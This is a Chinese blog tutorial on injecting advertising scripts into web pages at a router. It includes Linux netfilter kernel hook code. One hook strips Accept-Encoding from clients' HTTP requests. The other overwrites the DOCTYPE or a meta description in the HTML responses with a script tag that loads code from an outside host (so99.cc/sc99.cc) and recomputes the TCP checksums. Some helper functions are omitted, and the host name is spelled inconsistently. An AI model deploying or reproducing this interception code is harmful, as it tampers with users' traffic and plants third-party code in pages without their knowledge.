【智能路由器】基于netfilter的高效广告植入(非代理方式)

来源:互联网 发布:米兰达 可儿比伯 知乎 编辑:程序博客网 时间:2024/04/29 21:48

【智能路由器】系列文章连接
http://blog.csdn.net/u012819339/article/category/5803489


广告植入最终目标

路由器子网下的设备访问外部web服务器时,其数据需要流经网关(这里就是路由啦),我们可以在路由器中设立“检查站”,对流经的数据包先“调戏”一番,如果对某个数据包“满意”,就会注入我们的js脚本。
广告植入的目标是要在网页中植入一个脚本连接,然后你可以尽情在你的脚本中发挥!


初步效果

先上几张效果图片尝尝鲜
1.例子使用了一个javascript脚本文件 ad.js 。脚本代码如下:

alert('Hello! If you see this, it means you successfully visited our ad.js!');

该测试脚本会使网页加载前弹出一个对话框,内容是 Hello! If you see this, it means you successfully visited our ad.js! ,如下:
截图1:
效果一

截图2:
效果二

2.例子使用了一个网上的脚本,其连接地址为 http://so99.cc ,可以点进去看看其内容,该脚本会在网页中加入菜单,植入效果如下:
截图1:
这里写图片描述

截图2:
这里写图片描述

截图3:
这里写图片描述

当一个脚本被成功链接进一个网页时,web前端开发人员就可在脚本中大展拳脚了!


广告植入前分析

1 在网页中植入一条脚本,可以在这个位置(head 标签后面):

<!DPCTYPE><html>    <head>        <script src="http://sc99.cc" type="text/javascript"></script>        ...    </head>    <body>    ...    </body></html>

2 现在的浏览器都支持常见几种压缩格式,浏览器向web服务器发出资源请求时,会请求服务器下发压缩后的数据(节省带宽)。但我们无法对压缩过的数据进行植入,所以我们需要拦截客户端的请求数据包,并去除http报头中的Accept-Encoding字段,如图
这里写图片描述
步骤:
—>排除ARP包(即挑选ip包)
—>提取TCP数据包(http报文是架在TCP之上的)
—>检测目的端口是否是80端口数据包(https使用的是443端口,且数据加密,先不予考虑)
—>检查http的请求方式是否是GET
—>搜集http包头信息中Accept-Encoding字段,将其内容替换为空格
—>进行TCP和IP校验

3 对外部服务器返回的数据包进行筛选
步骤:
—>排除ARP包(即挑选ip包)
—>提取TCP数据包(http报文是架在TCP之上的)
—>检测源端口是否是80端口数据包(https使用的是443端口,且数据加密,先不予考虑)
—>检查http状态是否是 HTTP/1.1 200 OK
—>搜集http包头信息中Content-Type字段,判断是否是html类型
—>寻找合适的植入点(替换html文件中无关紧要的字段,http报文长度不变,这样所作的更改最少,效率也最高!)
—>数据植入,并进行TCP和IP校验

思路是替换原网页中的臃余数据。这样我们不必在Linux内核层对网络数据包重新组装,因为在netfilter上处理的数据包都是经过TCP分段或IP分片后的一个个小于1500字节的数据包,也不必更改http报文长度,只用截取http报文被TCP协议分段后的第一个分段,然后删除html文件开头一部分信息中的臃余信息,植入成我们的脚本连接即可。

如下,我复制了一个html网页的部分代码,

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">    <html xmlns="http://www.w3.org/1999/xhtml"><head>       <script type="text/javascript" src="http://c.csdnimg.cn/pubfooter/js/tracking.js" charset="utf-8"></script>      <script type="text/javascript">        var protocol = window.location.protocol;        document.write('<script type="text/javascript" src="' + protocol + '//csdnimg.cn/pubfooter/js/repoAddr2.js?v=' + Math.random() + '"></' + 'script>');    </script>     <script id="allmobilize" charset="utf-8" src="http://a.yunshipei.com/46aae4d1e2371e4aa769798941cef698/allmobilize.min.js"></script> <meta http-equiv="Cache-Control" content="no-siteapp" /><link rel="alternate" media="handheld" href="#" />    <title>【智能路由器】源码追踪路由器启动过程 - 图像、视频、算法、Linux        - 博客频道 - CSDN.NET</title>    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />    <meta name="description" content="界面XML文件:preference_setting.xml            &lt;CheckBoxPreference          android:key=my_wireless" />    <script src="http://static.blog.csdn.net/scripts/jquery.js" type="text/javascript"></script>    <script type="text/javascript" src="http://static.blog.csdn.net/scripts/ad.js?v=1.1"></script>        <!--new top-->        <link rel="stylesheet" href="http://static.csdn.net/public/common/toolbar/css/index.css">        <!--new top-->    <link rel="Stylesheet" type="text/css" href="http://static.blog.csdn.net/skin/skin-yellow/css/style.css?v=1.1" />    <link id="RSSLink" title="RSS" type="application/rss+xml" rel="alternate" href="/u012819339/rss/list" />    <link rel="shortcut icon" href="http://c.csdnimg.cn/public/favicon.ico" />    <link type="text/css" rel="stylesheet" href="http://static.blog.csdn.net/scripts/SyntaxHighlighter/styles/default.css" /></head><body>...

经过分析,其中有些信息是没有多大作用的,如网页最开头的

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

完全可以写成这样:

<!DOCTYPE html>

再如:

<html xmlns="http://www.w3.org/1999/xhtml">

可以简化成这样:

<html>

再如,可以去掉下例中的meta标签:

<meta name="description" content="界面XML文件:preference_setting.xml            &lt;CheckBoxPreference          android:key=my_wireless" />

这些臃余信息都是一般网页所共有的内容!这就给了我们方便植入脚本的机会…


原理图:

这里我们需要对Linux中的netfilter结构有一定的了解,Linux下的netfilter框架就相当于一个大型检查站,里面存在5个监测点,专门用来检测并判决网络数据包的流向及生死:
我们在netfilter的PRE_ROUTING和POST_ROUTING挂载钩子函数,以对和我们广告植入有关的数据包进行“手术”。
广告植入作用图


源代码:

钩子函数一:请求拦截

/*该钩子函数更改了浏览器的请求数据包,目的是让服务器返回的html数据是非压缩的*/static unsigned int init_req(  unsigned int hooknum,  struct sk_buff * skb,  const struct net_device *in,  const struct net_device *out,  int (*okfn) (struct sk_buff *))  {     #define URL_MAX_LEN 168    struct sk_buff *sk = skb;    struct iphdr *ip;      struct tcphdr *tcp;    unsigned char *p_data;     char http_GET[URL_MAX_LEN+2]={0};    int n = 0;    uint8_t *eth;    int len;    union    {        unsigned int addr;        unsigned char addr_ip[4];    }ip_addr;    if (!sk)          return NF_ACCEPT;      if(skb->protocol != htons(0x0800)) //查看是否是IP数据包(排除ARP干扰)        return NF_ACCEPT;       eth = (uint8_t *)(skb->data) - 14;    if(!eth)    {        printk("eth empty!\n");        return NF_ACCEPT;    }    memset(&msg, 0, sizeof(MY_HOST_URL_MSG));    memcpy(msg.mac, eth + 6, 6);        ip = ip_hdr(sk);      tcp = (struct tcphdr *)((unsigned char*)ip + ip->ihl*4);    len = ntohs(ip->tot_len) - ip->ihl*4 - tcp->doff*4;    if(6 == ip->protocol)      //对TCP数据进行截获,http    {        if(80 != ntohs(tcp->dest))            return NF_ACCEPT;        p_data = (char *)tcp + tcp->doff*4; //数据开头        if(('G' == p_data[0]) && ('E' == p_data[1]))  //截获GET字段,这也是TCP分段第一段,http        {               for(n = 0; n < ((len>URL_MAX_LEN)? URL_MAX_LEN:len); n++) //最多截取168个字符            {                http_GET[n] = p_data[n+4]; //剔除GET开头,提取url                if(0x20 == http_GET[n])                 {                    http_GET[n] = '\0';                    if(!strnicmp("HTTP/1.1",(char *)&(p_data[n+4+1]),strlen("HTTP/1.1")))                    {                               if(!exec_filter(p_data, len))                        {                            TCP_checksum(sk);                            printk("change req ok!\n");                        }                        after_filter();                        break;                          }                    break;                }            }         }     }       return NF_ACCEPT;  }

以上代码有3个函数未给出原型,分别是:exec_filter(p_data, len)、TCP_checksum(sk)、after_filter(),在此就不罗列代码了。
简单介绍一下:
函数exec_filter()过滤掉一些.js、.png、.jpg、.cgi、.css、.ico等文件的请求后,对剩余的http请求,更改了http报头中Accept-Encoding字段字段内容——将该字段内容替换为空格。函数主要目的是更改客户端的http请求,使服务器返回非压缩的数据!
函数TCP_checksum(sk)进行TCP校验,此处没必要进行IP校验。
函数after_filter()释放一些链表及动态申请的内存。

钩子函数二:广告植入

/*该钩子函数对外部web服务器返回的数据包进行条件检测,符合条件的就会向html文件中植入脚本连接*/static unsigned int emPacket(  unsigned int hooknum,  struct sk_buff * skb,  const struct net_device *in,  const struct net_device *out,  int (*okfn) (struct sk_buff *))  {    struct iphdr *ip;      struct tcphdr *tcp;    unsigned char *p1;    if (!skb)          return NF_ACCEPT;       if(skb->protocol != htons(0x0800)) //查看是否是IP数据包(排除ARP干扰)        return NF_ACCEPT;       ip = ip_hdr(skb);      tcp = (struct tcphdr *)((unsigned char*)ip + ip->ihl*4);    p1 = (uint8_t *)((uint8_t *)tcp + tcp->doff*4);    skb->transport_header = (uint8_t *)tcp;    if((6 == ip->protocol) && (80 == ntohs(tcp->source)))  //对TCP数据进行截获,http    {               if(('H'==p1[0]) && ('T'==p1[1]) && ('T'==p1[2]) && ('P'==p1[3]))        {            if(STATUS_OK == prepare_Insert(skb))            {                TCP_checksum(skb);            }            after_Insert();         }    }    return NF_ACCEPT;}

以上代码中函数prepare_Insert(skb)负责了几乎所有的植入前的条件检查及脚本植入动作,该函数先确认拦截的网络数据包是服务器返回html数据,搜集http报头信息,确认http报文的数据位置,检测该数据包是否具备植入条件,寻找准确的植入位置,进行植入。植入的脚本连接可以由Linux应用层程序通知内核得到(内核和用户程序通过netlink通信)。

PSTATUS prepare_Insert(struct sk_buff * skb){    struct iphdr *h_ip = NULL;     struct tcphdr *h_tcp = NULL;    uint8_t *p_data = NULL, *p1 = NULL;    uint16_t data_size = 0;    int16_t http_length = 0;    int16_t html_head_label_pos = 0, html_meta_label_pos = 0;    int16_t err = 0;    uint8_t *link = url_ip;    uint8_t *link1 = url_ip + strlen("<!DOCTYPE html><html><head>");        uint16_t meta_descri_len = 0;    if (!skb)          return STATUS_POINTER_NULL;      h_ip = ip_hdr(skb);    h_tcp = tcp_hdr(skb);    memset(&html_req_info, 0, sizeof(html_req_info));    data_size = skb->len - h_ip->ihl*4 - h_tcp->doff*4;    p_data = (uint8_t *)h_tcp + h_tcp->doff*4;    http_length = collect_http_info(p_data, data_size, &list_root);    if(http_length < 0)        return STATUS_ILL_CONSITION;    if(STATUS_OK == PickUP_Content_Type_IFHTML(p_data, &list_root, &html_req_info))    {        err = collect_html_info(p_data + http_length, 24, data_size - http_length, &html_label_list_root);        if( err > 0)        {            html_head_label_pos = html_whereis_head(&html_label_list_root);            if(html_head_label_pos < 1)                return STATUS_UNFOUND_ERR;            //方案一:<!DOCTYPE...>较长,可植入            if( html_head_label_pos > strlen(link))             {                return exec_Insert(p_data + http_length, link, html_head_label_pos+6);            }            //方案二:<meta name="description"...>较长,可植入            html_meta_label_pos = collect_html_info2(p_data + http_length + html_head_label_pos + 6, data_size - http_length - html_head_label_pos - 6, &meta_descri_len);            if(meta_descri_len > strlen(link1))            {                p1 = p_data + http_length + html_head_label_pos + 6 + html_meta_label_pos;                return exec_Insert(p1, link1, meta_descri_len);            }            return STATUS_UNFOUND_ERR;        }    }       return STATUS_TYPE_ERR;}

好啦,本文到此结束,作者arvik,【智能路由器】系列文章见
http://blog.csdn.net/u012819339/article/category/5803489


附上arvik当前测试用路由器

这里写图片描述

2 0
原创粉丝点击